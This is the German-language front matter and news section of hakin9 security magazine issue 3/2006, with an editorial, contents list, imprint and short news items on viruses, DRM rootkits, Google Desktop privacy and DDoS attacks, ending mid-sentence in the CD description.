hakin9 Lupe Im Bereich der Sicherheit von Informatiksystemen ist immer was los. Wir verabschieden bekannte Sicherheitsfehler, indem wir neue Updates zur Verfügung bekommen, aber nach wenigen Augenblicken entdecken wir neue Lücken. Auch die alten Probleme kehren öfters zurück und lachen über provisorisch geflickten Stellen Dieses Wettrennen läuft ununterbrochen und sein Tempo verschärft sich, als wenn es durch die wachsende Leistungsstärke der Rechner und die Vielfältigkeit von Applikationen und Kommunikationsprotokollen beschleunigt würde. Schwert und Schutzschild. Schwert – das sind Angriffstechniken. Schutzschild – Abwehrmethoden. Schwert und Schutzschild. Kontinuierliche Weiterentwicklung und ständig neuer Kampf. Sie haben bestimmt oft von diesem, für die Informatiksicherheit typischen, Vergleich gehört. Wo findet sich in dieser stilistischen Figur ein Platz für das Magazin hakin9? Vertreter informatischer Unternehmen fragen uns oft: mit wem sympathisiert ihr? Welcher Seite ist es euch näher? Das ist eine gute Frage. Wenn wir versuchen, die Funktion unseres Magazins zu definieren, kommen uns die Wörter: beobachten zeigen näher bringen in den Sinn. Wir sind also weder Schwert noch Schutzschild. Wir sind... eine Lupe. Wir machen Ihre Augen empfindlicher, damit sie wissen, wohin und wie sie schauen sollen. Sowohl Schwert als auch Schutzschild erweisen sich als interessante Exponate in der Sammlung eines Kenners, wenn wir sie uns durch unsere Lupe ansehen. Werfen wir einen Blick auf den Inhalt der aktuellen Ausgabe. Wir haben für Sie verschiedene Themen, in ziemlich kontrastvoller Gliederung, vorbereitet. Wir werden über Methoden zur Umgehung der IP-Filterung diskutieren, aber auch von IPTables-Erweiterungen erzählen. Wir präsentieren Techniken des Windows-Hackings, aber auch Linux wird wegen Rootkits für Kernel 2.6 büßen müssen. Auf der HeftCD finden Sie, wie immer, hakin9 live (h9l), neue Tutorials und ein paar interessante Bücher im PDF-Format. Zudem die Vollversion von Steganos Safe 6 – einem ausgezeichneten Tool für alle MS Windows-Nutzer, Sicherheitsfanatiker und Anhänger von Verschwörungstheorien. Spaß beiseite. Das Paket Steganos Safe 6 enthält drei sehr nützliche Applikationen: ein Programm zum Erstellen und zur Verwaltung von virtuellen verschlüsselten Laufwerken, ein Programm zum unwiederbringlichen Löschen von Daten und zum Reinigen überflüssiger Daten von der Festplatte, und ein Tool zur Verschlüsselung von Datenträger (Sie entscheiden selbst, wer Ihre Diskette oder CD lesen darf). Worauf warten Sie noch? Lupen in die Hand! PS. Die Informationen über das Arbeiten an den neuen Lupen-Modellen finden Sie auf den Seiten www.hakin9.org Jarosław Szumski
4
hakin9 Nr. 3/2006
Kurznachrichten
06
CD-Inhalt
10
Wir präsentieren ein paar der interessantesten Neuigkeiten aus der Welt der Sicherheit von Informatiksystemen. Wir stellen den Inhalt und die Funktionsweise der neusten Version von unserer besten Distribution hakin9.live vor.
Tools – Acunetix Web Vulnerability 12 Scanner Carlos Garcia Prado
Wir erklären, wie man Acutenix Web Vulnerability Scanner zum automatischen Entdecken der Sicherheitslücken in Web-Applikationen verwendet.
Tools – LogHound
13
Stefan Lochbihler
Wir zeigen Ihnen, wie man – mit Hilfe des Programms LogHound – die System-Log-Dateien nach den definierten Muster durchsucht.
Thema der Ausgabe Ausuntzen von Fehlern in Windows-Systemmessages
14
Krzysztof Wilkos
Wir zeigen, wie eine entsprechende Ausnutzung von Windows-Messages in den Dialogfenster die Injektion von bösartigen Code ermöglichen und dem Angreifer bei der Erweiterung der Benutzerrechte helfen kann.
Fokus Wie man IP-Adressenfilterung an Firewalls bzw. Routern umgeht
26
Kristof De Beuckelaer
Wir erklären, warum die Zugriffskontrolle anhand der IP-Adresse weder sicher noch zuverlässig ist.
Techniken Fortgeschrittene Entwicklung von 32 L2.6KM Rootkits Pablo Fernández
Wir stellen die Grundsätze der Entwicklung von Rootkits für den Linux-Kernel 2.6 vor und zeigen, wie man installierte und funktionierende Rootkits entdeckt.
Rezensionen Krystyna Wal, Łukasz Długosz
38
Wir besprechen die folgenden Bücher: Network Security Tools; Intrusion Prevention and Active Response Deploying Network and Host IPS; Practical Cryptography; Wi-Foo. The Secrets of Wireless Hacking.
www.hakin9.org
Programmieren Eigene IPTables-Erweiterungen
40
Jarosław Sajko
Wir beschreiben, wie man die Strategie zur Systemabwehr auf die Firewall-Konfiguration umsetzt und eigene Erweiterung für IPTables schreibt.
Praxis Passives Sammeln der Informatio52 nen – Grundlagen Błażej Kantak
Wir zeigen Ihnen, wie man Informatiksysteme schützt, um die unberechtigten Personen am passiven Sammeln der Informationen zu hindern.
Theorie IPSec: Technische Beschreibung 64 Bénoni Martin
Wir beschreiben die Anwendungsmöglichkeiten für IPSec. Wir besprechen auch die Protokolle (AH, ESP, ISAKMP, IKE, ...), mit denen IPSec arbeitet.
Umgebung Hacking nicht nur im Netz
76
Michał Piotr Pręgowski
Wir stellen vor, was Lifehacking ist und welche Lebensbereiche es betrifft, aber auch warum es für das traditionelle Hacking wichtig sein kann.
78
Interview mit Mikko Hyppönen
Wir sprechen mit einem Mann, der den bedeutenden Teil seines Lebens dem Schutz tausender Rechner vor Computerviren gewidmet hat.
Feuilleton Mein Auto hat eine Firewall
80
Regis Gabineski
Wir machen uns Gedanken über die Zukunft und die weitere Evolution der informatischen Technologien.
Ankündigungen
Wollen Sie eine Verkaufslizenz auf Verkauf unserer Magazin erwerben, kontaktieren Sie bitte: Monika Godlewska e-mail:
[email protected] tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Vertrieb in Deutschland: IPS Pressevertrieb GmbH Postfach 12 11 D-53340 Meckenheim Die Redaktion bemüht sich, dafür Sorge zu tragen, dass die in der Zeitschrift sowie auf den begleitenden Datenträgern enthaltenen Informationen und Anwendungen zutreffend und funktionsfähig sind, übernimmt jedoch keinerlei Gewähr für deren Geeignetheit für bestimmte Verwendungszwecke. Alle Markenzeichen, Logos und Handelsmarken, die sich in der Zeitschrift befinden, sind registrierte oder nicht-registrierte Markenzeichen der jeweilgen Eigentümer und dienen nur als inhaltliche Ergänzugen. Die Redaktion bietet kein Support bei der Installation bzw. Nutzung der auf der begleitenden CD zur Zeitschrift enthaltenen Software. Anmerkung! Der Verkauf von aktuellen Magazinen sowie von Archivausgaben zu einem anderen Preis, als der auf dem Umschlag abgedruckte, ist ohne Genehmigung des Herausgebers verboten und wird strafrechtlich verfolgt.
Interview Eine neue Virengeneration: Ist niemand mehr sicher?
wird von Software-Wydawnictwo Sp. z o.o. herausgegeben Anschrift: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warschau, Polen Tel. +48 22 887 10 10, Fax +48 22 887 10 11 www.hakin9.org Chefredakteur: Jarosław Szumski Produktion: Marta Kurpiewska
[email protected] Vertrieb: Monika Godlewska
[email protected] Market Manager: Jadwiga Rzepecka-Makara
[email protected] Produkt Manager: Dominika Podlipna
[email protected] Vorbereitung der CD: Witold Pietrzak, Piotr Sobolewski Satz: Anna Osiecka
[email protected] Übersetzung: Magdalena Kaczmarek, Tomasz Sieniuć, Jan Wielgus, Kinga Wróbleska, Grzegorz Wójcik Korrektur: Tjabo Kloppenburg, Klaus -Martin Scheuer, Florian Roth, Ingo Edelmann, Sascha Hess, Patric Astor, Getri Müller, Patrik Gemein, Ptrick Nussbaum, Marcus Jeitler Werbung:
[email protected] Abo:
[email protected] Tel. +48 22 887 14 57 Umschlagsentwurf: Agnieszka Marchocka Wenn Sie mit uns zusammenarbeiten wollen:
[email protected]
82
Die Redaktion benutzt das automatische Satzsystem von Zur Erstellung der Diagramme wurde das Programm von der Firma verwendet. Die dem Magazin beigefügte CD wurde mit dem Programm AntiViren Kit von der Firma G DATA Software Sp. z o.o. getestet. Druck: 101 Studio, Firma Tęgi hakin9 erscheint in folgenden Sprachversionen und Ländern: deutsche Version (Deutschland, Schweiz, Österreich, Luxemburg), französische Version (Frankreich, Kanada, Belgien, Marokko), spanische Version (Spanien, Portugal), italienische Version (Italien), tschechische Version (Tschechien, Slovakei), polnische Version (Polen), englische Version (Kanada, USA) hakin9 -Magazin wird in 7 Sprachversionen veröffentlicht: DE
PL
CZ
IT
FR
ES
EN
Anmerkung
Die in der Zeitschrift demonstrierten Techniken sind AUSSCHLIESSLICH in eigenen Rechnernetzen zu testen! Die Redaktion übernimmt keine Haftung für eventuelle Schäden oder Konsequenzen, die aus der unangemessenen Anwendung der beschriebenen Techniken entstehen. Die Anwendung der dargestellten Techniken kann auch zum Datenverlust führen! Wir bedanken uns herzlich bei den Betatestern: Oliver Koen, Marek Kreul, Sascha Hess, Andreas Männer, Stefan Behte
www.hakin9.org
hakin9 Nr 2/2006
5
Kurznachrichten
Computervirus Brain feiert seinen 20. Geburtstag
In diesem Jahr feiern wir 20. Jahrestag der Existenz von Computerviren. Das allererste Virus auf der Welt – Brain – hat am 19. Januar 1986 zugeschlagen. Brain ist in einigen, in der Regel relativ harmlosen, Varianten erschienen. Das erste Virus der Geschichte wurde höchstwahrscheinlich in Pakistan entwickelt und hat sich über Disketten, das damals gebräuchliche Datenaustauschmedium, verbreitet. Sein Ziel war, das Inhaltverzeichnis der befallenen Disketten in Brain oder ashar umzubennen.
Kommen Computer mit dem Vermögen von Bill Gates nicht zurecht?
Die US-Bundessteuerbehörde (Internal Revenue Service) kaufte einen zusätzlichen Server, der die Rückerstattung der überzahlten Steuer vom Gründer der Firma Microsoft, Bill Gates, berechnen soll. Während der Pressekonferenz in Lissabon gab Gates zu, dass er oft Mannschreiben über eine ausstehende Zahlung der Steuer vom Fiskus bekommen hatte. Wie er erklärte, waren die Recher der Finanzbehörde mit den großen Summen seines Vermögens, das als eins der größten auf der Welt geschätzt wird, überfordert. Die Vertreter der US-Bundessteuerbehörde verweigern Kommentar zu diesem Thema.
Der WMF-Fehler ein Teil von einem großen Plan?
Leo Laporte und Steve Gibson haben gründlich den bekannten Fehler bei der Behandlung von WMF-Dateien analysiert und sind zum Schluss gelangen, dass er absichtlich, und nicht aus Versehen, im Operationssystem implementiert wurde. Nach ihrer Meinung hat Microsoft mit Absicht diese Sicherheitslücke als Hintertür im System eingebaut, um Code im Stillen ablaufen lassen zu können. Es ist nicht bekannt (und wir werden es sicherlich nicht mehr erfahren), ob der WMF-Fehler auf Veranlassung der Geschäftsführung eingebaut wurde oder ob ihn eine Gruppe von den MicrosoftAngestellten für eigene Zwecke implementiert hat.
6
hakin9 Nr. 3/2006
Rootkit-geschützte DVD Mr. & Mrs. Smith
S
ony BMG ist nicht das einzige Unternehmen, dessen Produkte mit einer Software, die den – in letzter Zeit so berühmten – Rootkits täuschend ähnlich aussieht, vor illegalem Vervielfaltigen geschützt sind. Nach dem aus Helsinki stammenden Antivirenprogrammhersteller F-Secure (Finnland) enthält die deutsche DVD-Ausgabe von Mr. & Mrs. Smith – das DRM-Programm (Digital Rights Management). Dieses Programm benutzt Techniken zur Maskierung, die den Methoden von den meisten bekannten Rookits sehr ähneln. Als Rookit werden Programme bezeichnet, deren Aufgabe ist, einen ständigen Zugang zu dem angegeriffenen Rechner zu gewähren und die Anwesenheit des Einbrechers gleichzeitig zu verbergen. Das kann von einem gemeinen Cracker verwendet werden, um die Dateien zum Angriff auf einen Computer zu verstecken. Wenn nun ein DVD-Hersteller diese Technik benutzt, bedeutet das daher eine große Bedrohung für die nichts ahnenden Benutzer. Der stellvertretende Vorstandsvorsitzender der Firma F-Secure – Antti Vihavainen – hat in seinem Blog geschrieben, dass die oben erwähnten DVDs, die in Deutschland verkauft werden, mit der Kopiersperre Settec Alpha-DISC ausgestattet sind. Das Portal cdfreaks.com beschreibt ausführlich die Funktionierung dieser Applikation. Das Hauptprogramm bekommt während jeder Installation einen anderen, auf den ersten Blick unscheinbaren Namen, wie z.B. win32k2.exe oder msxhtml.exe. Die Dateieigenschaften definieren das Programm Alpha-DISC als System PTHelper. Die ausführbare Datei startet als versteckter Prozess. In derselben Zeit lädt Alph-DISC die DLL-Dateien in den Speicher (hadl.dll), was zu einem Tochterprozess von allen aktivierten Applikation wird. Das Programm verleiht sich im Systemregister die SystemManagera-Berechtigung und sichert sich so wirksam ab, dass es
www.hakin9.org
nicht mehr möglich ist, den Rechner ohne diese Applikation zu starten. Das System verbirgt eigene Prozesse, aber es scheint, dass er weder Dateien noch Eingriffe in das Windows-Systemregister versteckt. Die Applikation ist dadurch minimal weniger gefährlich, weil ein Antivirenprogramm weiterhin sämtliche Dateien auf der Festplatte scannen kann. Jedoch hat er auch festgestellt, dass eine Malware, die nur die Prozesse und keine Dateien verbirgt, nich ungewöhnlich ist. Der Mechanismus zum Verstecken wurde von Heise Online, einer deutschen Informationsseite, entdeckt. Die Settec-Firma bietet eine Software an, dass das DRM-Programm deinstalliert. Der Vihavainens Aussage zufolge sollten kommerzielle Softwarehersteller um jeden Preis vermeiden, irgendwas vor ihren Nutzern zu verbergen. Vor allem vor Netzadministratoren, die für die Rechnerverwaltung verantwortlich sind. Diese Art von Mechanismen funktionieren sehr selten – wenn überhaupt – zu Vorteil des Benutzers und verursachen Sicherheitslücken in vielen Fällen. Der gute Name des Unternehmens Sony hat ernsthafte Schaden erleidet, nachdem die Firma die Verwendung vom DRM-Programm in ihren Produkten zugegeben hat. Viele Cracker haben infolge davon die Sony-Software zum Verstecken eigener Dateien benutzt. Auch die Antivirenfirma Symantec hat gestanden, eine Rookitähnliche Software in ihren Norton SystemWorks, die für das Verstecken bösartiger Dateien auf den Rechner perfekt geeignet waren, verwendet zu haben. Symantec hat bestätigt, dass die Dateien vor API Windows verborgen wurden, damit die auf dem Rechner arbeitenden Nutzer die kritischen Systemdateien unabsichtlich nicht löschen konnten. Nachdem die Firma von Sicherheitsexperten gewarnt wurde, hat Symantec schnell ein Update, das diese potenzielle Bedrohung beseitigt, veröffentlicht.
Kurznachrichten
Google kopiert Deine Festplatte
I
m Februar hat der Gignat im Bereich der Suchmaschinen – die Firma Google – eine neue Funktion der Google Desktop-Software, die die Benutzerprivatshäre in großem Masse gefährden kann, bekannt gegeben. Wenn sich der Nutzer für sie entscheidet, behält die neue Funktion Search Across Computers auf den GoogleServern die Kopien aller seinen docund pdf-Dateien, Kalkulationsbogen und sämtlicher Textdateien. Dadurch hat der Benutzer der Möglichkeit, von jedem Rechner aus auf seine Daten zuzugreifen. EFF (Electronic Frontier Foundation – nichtstaatliche Orgaisation, die sich mit den Bürgerrechten im Cyberspace beschäftigt) berät den Nutzern, die Finger von dem, auf den ersten Blick sehr angenehmen Feature zu lassen. Diese Funktion kann nähmlich die ihr anvertrauten Benutzerdaten den amerikanischen Regierungsinstitutionen zugänglich machen. Auch die mehr begabten Hacker können sich einen Zugang zu vielen persönlichen Informationen schaffen, indem sie das Benutzerpasswort zu Google Desktop herauslocken. Dir bemühen uns der Bedrohung, die mit den die Google-Logs analisierenden Regierungsinstitutionen verbunden ist, für die einzelnen Nutzer zu verbeugen. Wir sind schockiert über die Tatsache, dass Google immer noch erwartet, dass die Benutzer den Inhalt ihrer Computer der Firma anvertraut. Wenn man Google Desktop nicht ensprechend konfiguriert (und das tun nur wenige Leute), bekommt Google die Kopien von Ihren Steuererabrechnungen, Liebesbriefen, Geschäftsunterlagen, Finanz und Krankakten und alle anderen Textokumente, die von der Google Desktop-Software indiziert werden können. Die Regierung (USA) ist infolgedessen imstande, im Besitz von diesen Sachen zu sein, und das ohne Durchsuchungsbefhl vom Gericht, um auf legalle Weise Informationen aus einem privatem Haus oder Büro zu bekommen. Laut der Aussage der Pressesprecherin von Google – Marissa
Mayer – ist diese neue Fuktion, aufgrund der wachsenden Anzahl der Benutzer, die mehrere Rechner benutzen, nützlich und praktisch. Zu viele Leute arbeiten heutzutage an mehreren Rechne. Daher macht unsere neue Funktion ihnen das Leben einfacher. Die Privatsphäre war eine der wichtigsten Anforderung wärend der Entwicklung von Google Desktop und ich kann Sie versichern, dass alle Schritte getan wurden, um die Privatsphäre unserer Nutzer nicht zu gefährden – sagte sie. Das Problem bezüglich der Privatspäre liege vor allem darann, dass E-Mails und andere elektornische Unterlagen auf Grund des Electronic Communication Privacy Act vom Jahr 1986, auch als ECPA bekannt, nur eingeschränkt geschützt sind. Und sogar diese Rechte werden verletzt, wenn die Firma Google unsere Daten für ihre Marketingziele verwendet. Google behauptet, die Dateien, die aus der Festplatte zur Zwecke der Durchführung von gezielten Werbungen kopiert werden, zur Zeit nicht zu scannen, aber schließt die Möglichkeit nicht aus. Die Privacypolitik von Google verbietet solche Handlungen nicht. Dieses Produkt zeigt neue Probleme, die die Privatsphäre heutzutage betreffen. Viele InternetInnovationen fordern die Speicherung von personenbezogenen Daten auf den Provider-Servern, aber die Benutzer, die diese neuen Funktionen benutzen möchten, müssen laut der veralteten Rechtsnormen ihres Recht zur Privatsphäre ablegen. Wenn die Firma Google sich wünscht, dass die Nutzer die Kopien von ihren persönlichen Daten, E-Mails, Verlauf aus dem Browser und bei ihr bewahren und will nicht eine Quelle vom Missbrauch werden, sollte sie sich mit EFF zusammentun. Google sollte von der Regierung eine Gesetztmoderniserung zur Zwecke der Gewährleistung von der Privatsphäre verlangen, so dass das Gesetz das Leben im Cyberspace heutzutage besser wiederspiegelt.
www.hakin9.org
Islamische Hackers attackieren dänische Server
Der Abdruck einer Karikatur des Propheten Mohammed in der europäischen Presse hat eine Welle von Protesten in der islamischen Welt ausgelöst. Jetzt ist das auch im Internet zu sehen. Es wird berichtet, dass die Hackers aus islamischen Ländern Massenatacke auf westliche Internetpräsenzen durchführen. Zone-H.org sagt aus, dass bisher mehr als 1000 Server gehackt wurden, vor allem in Dänemark und Israel. Informationen über eventuelle Schaden sind zur Zeit nicht bekannt. ZoneH.org warnt auch vor weiteren Angriffen und großer Gruppierung von Hackers aus verschiedenen islamischen Ländern, die sich vor dem Heiligen Krieg im Netz zusammentun.
Das beste für Hackers
Mitte Februar hat in San Francisco eine Ausstellung der modernsten Technologien stattgefunden. Die fünfte Edition von CodeCon hat die neusten Lösungen aus dem IT Security-Bereich dargestellt. CodeCon wurde von Bram Cohen, dem Autor von BitTorrent, und von Len Sassman, dem Autor von Mixmastera – anonymen Remailer, gegründet. Das Event wurde zum Teil vom Verlag No Starch Press, der schon seit über zehn Jahren Literatur zu Open Source veröffentlicht, gesponsert.
2 Jahre Gefängnis für einen spanischen Hacker
Ein spanischer Hacker, der mit seinem Angriff im Jahr 2003 mehr als drei Millionen Nutzern den Internetzugang abgespertt hat, wurde zu zwei Jahren Haft und 1.4 Millionen Euro Geldstrafe verurteilt worden. Santiago Garridos Angriff (der Hacker ist auch als Ronnie and Mike25 bekannt) sollte ein Racheakt daür sein, dass man ihn auf Hispano, einem populären in Spanien IRC-Kanal, für die Regelverletzung gebannt hat. In Folge seines Angriffs wurde der Server mit einem generierten Internetverkehr überflutet, was die Server Wanadoo, ONO, Lleida Net und viele andere ISPs, also fast ein Drittel der spanischen Internetnutzer, blockiert hat.
hakin9 Nr. 3/2006
7
Kurznachrichten
Ein Virus legte russische Wertpapierbörse lahm
Einem Computervirus ist es gelungen, sämtliche Aktivitäten an der zentralen russischen Wertpapierbörse völlig abzusperren. Nachdem ein unbekanntes Virus das ganze System angegriffen hat, wurde das Russische Handelsystem gezwungen, seine Tätigkeit auf drei Märkten, die es bedient, für eine Stunde zu unterbrechen. Die Virusinfektion hat ein rapides Wachstum des eingehenden Datentransfers verursacht und infolgedessen die alltäglichen Börsenoperationen, die den Zugang zum Netz benötigen, lahmgelegt. Das Virus ist bis zum Computer, der mit der Testversion des Handelsystems verbunden ist, aus dem Internet durchgedrungen – erklärte einer stellvertretende Vorstandsvorsitzende des Russischen Handelsystems, Dimirtij Szacki, in der offiziellen Äußerung. Der infizierte Rechner hat begonnen, immense Datentransfers zu generieren, die die Routers in unserem System überlastet haben. Die Folge davon war, dass ein gewöhnlicher Datenverkehr – d.h. eingehende und aus dem Handelsystem ausgehende Daten – nicht bearbeitet wurde.
Die Vereinigten Staaten greifen Großbritanien an
Das US-Heimatschutzministerium (United States Department of Homeland Security) beabsichtigt, in nächster Zeit eine Serie von Internetangriffen auf die wichtigen Ziele der IT-Infrastruktur in Großbritanien durchzuführen. Die Operation unter dem Codenamen Cyber Storm hat das Ziel, die Sicherheit und die Schutzmechanismen der britischen Systeme zu testen. Die dafür verantwortlichen amerikanischen Organe fügten hinzu, dass die Handlungen mit dem Erlaubnis der Regierung in London durchgeführt werden. Die Operationsziele sind vor allem Finanzinstitutionen, Energieunternehmen und andere wichtige Einrichtungen. Für die virtuellen Angriffe ist NCSD (National Cyber Security Divison), eine Abteilung vom US-Heimatschutzministerium, verantwortlich. Laut der Erklärung von NCSD werden ähnliche, vorbeugende Angriffe auch auf verschiedene Institutionen in den Vereinigten Staaten, Kanada und Australien durchgeführt.
8
hakin9 Nr. 3/2006
Virus-Erpresser löscht Dateien
A
nfang Februar des laufenden Jahres empfahlen Sicherheitsexperten allen IT-Unternehmen, ihre internen Netze zu scannen, bevor die Systemuhr Mitternacht des dritten Tages jedes Monats schlägt. Diese Sicherheitsmaßnahmen hatten als Ziel, ein Mass-Mailing-Virus zu entdecken und zu entfernen, das genau zu diesem Zeitpunkt beginnen sollte, wertvolle Daten auf den infizierten System zu löschen. Das Virus – Blackmail.E oder Nyxem.E gennant – hatte sich auf über 600.000 Systeme ausgebreitet, darunter vor allem in drei Ländern: den Vereinigten Staaten, Indien und Peru. Es stellte dadurch mehr als die Hälfte der weltweiten Vireninfektionen dar. Das Blackmail.E-Virus wurde so programmiert, dass es am dritten Tag jedes Monats (am 3. Februar beginnend) elf verschiedene Dateitypen löscht. Nicht nur die lokalen Dateien des infizierten Systems werden dabei gelöscht, sondern auch die Daten auf allen Laufwerken, die über das Intranet der Firma an den Rechner angeschlossen sind. Gerade dieser Grund macht das Virus so gefährlich und erklärt die lautstarken Warnungen der Sciherheitsexperten. Nyxem.E verbreitete sich über EMails, indem er die Nutzer mit attraktiven, pornografischen Bildern im Anhang lockte. Im Betreff-Feld einer infizierten Nachricht standen zum Beispiel: Fw: Funny :), Fw: Picturs, *Hot Movie* oder Miss Lebanon 2006. Dieses Virus ist keinesfalls ungewöhnlich. Mann kann es mehr eine Malware-Mischung vieler verschiedenen Würme beschreiben – sagte Joe Stewart, Senior Security Engineer in der Firma LURHQ, die sich mit der Netzsicherheit beschäftigt. Das einzige ernsthafte Problem ist die Tatsache, dass der Entwickler dieses Virus so geschrieben hat, dass es Dateien auf dem infizierten System löscht. Nyxem.E ist eins der destruktivsten Programme, die sich zur Zeit im Netz verbreiten. In den letzten Jahren konnten wir eine Trendwende beobachten:
www.hakin9.org
die schädliche Software konzentrierte sich immer mehr darauf, unbemerkt in ein System einzudringen, und ihren Entwicklern die Kontrollübernahme der Maschine zu ermöglichen. Die Aufgabe des Klez-Viren – nachdem es sich vor vier Jahren im Netz verbreitet hatte – war, einige Dateitypen zu löschen. Im Jahr 1998 sollte das CIHVirus – auch Tschernobyl genannt – sowohl Dateien, als auch den Systemcode (der im Flash-Speicher auf Motherboard einiger Rechnertypen geschrieben wurde) zu löschen. Diese Trendwende und die Abwendung vom zerstörerischen Charakter der Viren sind sicherlich damit zu erklären, dass sich die Cracker über neue Ziele und Möglichkeiten klar geworden sind. Die illegale Kontrolle sehr vieler Computersystem auf der ganzen Welt, kann auf einfache Art und Weise in eine gewinnbringende Einnahmequelle verwandelt werden. Mit immensen Netzwerken von infizierten Rechnern – den so genannten Botnets – lässt sich mit dem s.g. click fraud (Klickbetrug) viel Geld verdienen und Spam verbreiten. Häufig werden Botnets auch dazu verwendet, um das Geld von bekannten Internetpräsenzen zu ergaunern, indem man ihren Besitzern mit DDoS-Attacken droht. Die destruktive Verhaltensweise der Viren ist im Laufe der letzten fünf Jahren fast völlig verschwunden. Die Virenprogrammierer sind zum dem Schluss gekommen, dass sie davon keinen Nutzen habe. Stattdessen werden immer modernere Programme entwickelt, die Rechnersysteme in ein Botnet-Element oder in einen Zombie verwandeln. Häufig sind auch versteckte Installationen von Key-Loggern anzutreffen. Und dennoch bringt Blackmail seinem Entwickler keine finanziellen Vorteile. Alle Rechner, die immer noch vom Nyxem.E Virus infiziert sind, werden am dritten Tag jedes Monats einer Löschroutine ausgesetzt, die Dateien wie die Dokumente der Applikationen Word, Excel, PowerPoint und Dateien im pdf-Format von allen Laufwerken unwiederbringlich entfernt.
Kurznachrichten
Dauerhafte Folgen der Übernahme einer Domäne
E
inige der gemeinen Hacker, die die Kontrolle über eine Internetpräsenz übernehmen konnten, sind imstande den Netzverkehr zu sabotieren, noch lange nachdem sie die Seiten den rechtmäßigen Besitzern zurückgegeben haben. Der Grund dafür ist ein Fehler im Verbindungsaufbau von Browser und Proxy-Server sowie ihre Art der Datenspeicherung. Die Cracker nutzen diese Schwachstellen aus, um die nichts ahnenden Internet-Nutzer auf spezielle Seiten umzuleiten, was noch tagelang oder sogar monatelang nach dem Angriff möglich ist. So eine Attacke kann zum Diebstahl von Informationen oder Identitäten führen. Das Problem, das Klein als domain poisoning bezeichnet hat, existiert wegen der Eigenschaften von Proxy-Servern, die Versionen von Internetseiten speichern, Netzclients und Browsern, wie Microsoft Interent Explorer, Firefox und Opera. Sowohl die Proxy-Server als auch die Browser haben im gewissen Sinne das Vertrauen zueinander. Dadurch werden die Server als autoritative Hosts für eine bestimmte Internetseite im DNS (domain name system) identifiziert . Wenn ein Client einmal glaubt, dass er mit dem richtigen Server, der einer konkreten Domäne entspricht, kommuniziert, entsteht eine Art vom Standard-Vertrauen zu diesem Server. Dieses Vertrauen wird nicht widergerufen. Ein Internetbrowser, zum Beispiel, speichert Informationen über die besuchten Seiten in Form von Cookies und auf seinem Cache-Speicher. Wenn ein Client so eine Information herunterlädt, wird es schwer, sie wieder zu entfernen. Die Übernahme von Domänen ist ein immer wiederkehrendes Problem, das von Zeit zu Zeit auf Grund bekanntgewordener Angriffe allgemein bekannt wird. Ein Beispiel hierfür ist die Übernahme der Domäne aljazeera.net – eines arabischen Fernsehnetzes – im März 2003. Ein aktuellerer Angriff hat im März 2005 stattgefunden. Eine
unbekannte Hacker-Gruppe hat damals weltweit viele DNS-Server mit DNS cache poisoning-Attacke angegriffen, indem sie eine Sicherheitslücke in der Firewall der Firma Symantec und eine Schwachstelle von Windows NT/2000 ausgenutzte. In Folge dieser Attacke wurde eine bisher unbekannte Anzahl von nichts ahnenden Nutzern auf gefälschte Seiten umgeleitet, über die ihre Rechner mit Spyware-Programmen und anderer bösartigen Software infiziert wurden. Im Fall von diesen und anderen Angriffen, erfolgte die Reaktion beinahe unverzüglich. Die Kontrolle über gehackte WWWSeiten wurde zurückgewonnen und die angegriffenen DNS-Server zurückgesetzt. Die Hacker hatten die HTTP-Kopfzeilen oder den HTML-Inhalt der angegriffenen Internetpräsenz modifiziert, um zu garantieren, dass diese Seiten unberührt und unverändert auf den Servern noch wochen- oder sogar monatelang nach der Attacke verbleiben. Diejenigen Nutzer, die Opfer von Angriffen wurden, behielten in ihrern Browsern Kopien der von Hackern modifizierten Seiten. Diese Internetpräsenz kann dann die erste sein, die beim nächsten Besuch dieser DNS-Adresse eingelesen wird. Ein begabter Hacker, der Scripts in die auf diese Weise besuchte Seiten einbauen kann, wird noch lange nachdem seine Attacke entdeckt wurde, im Stande sein, Informationen der Besucher zu stehlen.
www.hakin9.org
Ein DDos-Angriff der Grund für die Unerreichbarkeit der Million Dollar Homepage
Das Unternehmen, welches für das Hosting der Internetpräsenz The Million Dollar Homepage verantwortlich ist, behauptet, dass die Seite nach der Beendigung der Aktion wegen eines Angriffs eine Weile nicht erreichbar war. Diese Attacke hatte kurz nach dem Verkauf der letzten 1000 Pixel der Werbefläche stattgefunden. Es wurde ein DDoS-Angriff auf die Internetpräsenz durchgeführt. Diese Art von Attacken hat der Kunde natürlich nicht vorhergesehen, als er von uns den Platz auf dem Server gekauft hat – sagte Russel Weiss von der Firma InfoRelay Online Systems, Inc. Trotzdem haben wir freiwillig Schritte unternommen, um den Angriff abzuwehren, indem wir vom verfügbaren Budget Gebrauch machten. InfoRelay ist der Besitzer und der Operator von Sitelutions, der Firma, die Million Dollar Homepage hostet. Alex Tew – der Seitenbesitzer – hat versprochen, seine Internetpräsenz noch mindenstens fünf Jahre lang im Internet zu halten. Als frishgebackener Internet-Millionär kann es sich Tew leisten, einen Teil seines Vermögens für die zusätzliche Finanzierung der Seite zu bestimmen. Der 21-jährige Student aus Großbritanien hatte seine Internetpräsenz im Semptember 2005 gestartet, um das Geld für sein Studium aufzutreiben. Das Idee war simpel – eine Million Werbefelder standen zur Verfügung und jeder konnte sich beliebig viele kaufen. Jeder Pixel kostete einen Dollar. Die letzte Auktion auf e-Bay hat Tews Ertrag auf den Gesamtbetrag von 1.037.100 USD steigen lassen. Riesigen Gewinn erziehlte der Student auch aus Werbeeinnahmen, die dank eines enormen Verkehrs auf seiner Seite zu Stande gekommen sind. Der Besucherzähler auf Milliondollarhomepage.com registriert täglich über 500 000 verschiedene IP-Adressen. Der Verkehr auf der Seite war in den letzten Wochen sehr hoch, manchmal sogar bis zu 200 Mbps – sagte Weiss. Der Überschuss des Verkehrs wurde mit Hilfe eines Multi-Gigabyte Hilfsnetzes voll bedient. Weiss hat einen negativen Einfluss des Angriffs, auf die anderen, durch das Unternehmen administrierten Netze, ausgeschlossen.
hakin9 Nr. 3/2006
9
hakin9.live
CD-Inhalt
A
uf der beiliegenden CD befindet sich die hakin9.live (h9l) Version 2.9.1-ng – eine bootfähige Linuxdistribution mit nützlichen Tools, Dokumentationen, Tutorials und zusätzlichen Materialien zu den Magazinartikeln. Der Login ist hakin9 ohne Passwort. Die Dokumentationen usw. befinden sich in den folgenden Verzeichnissen: • • • • •
• •
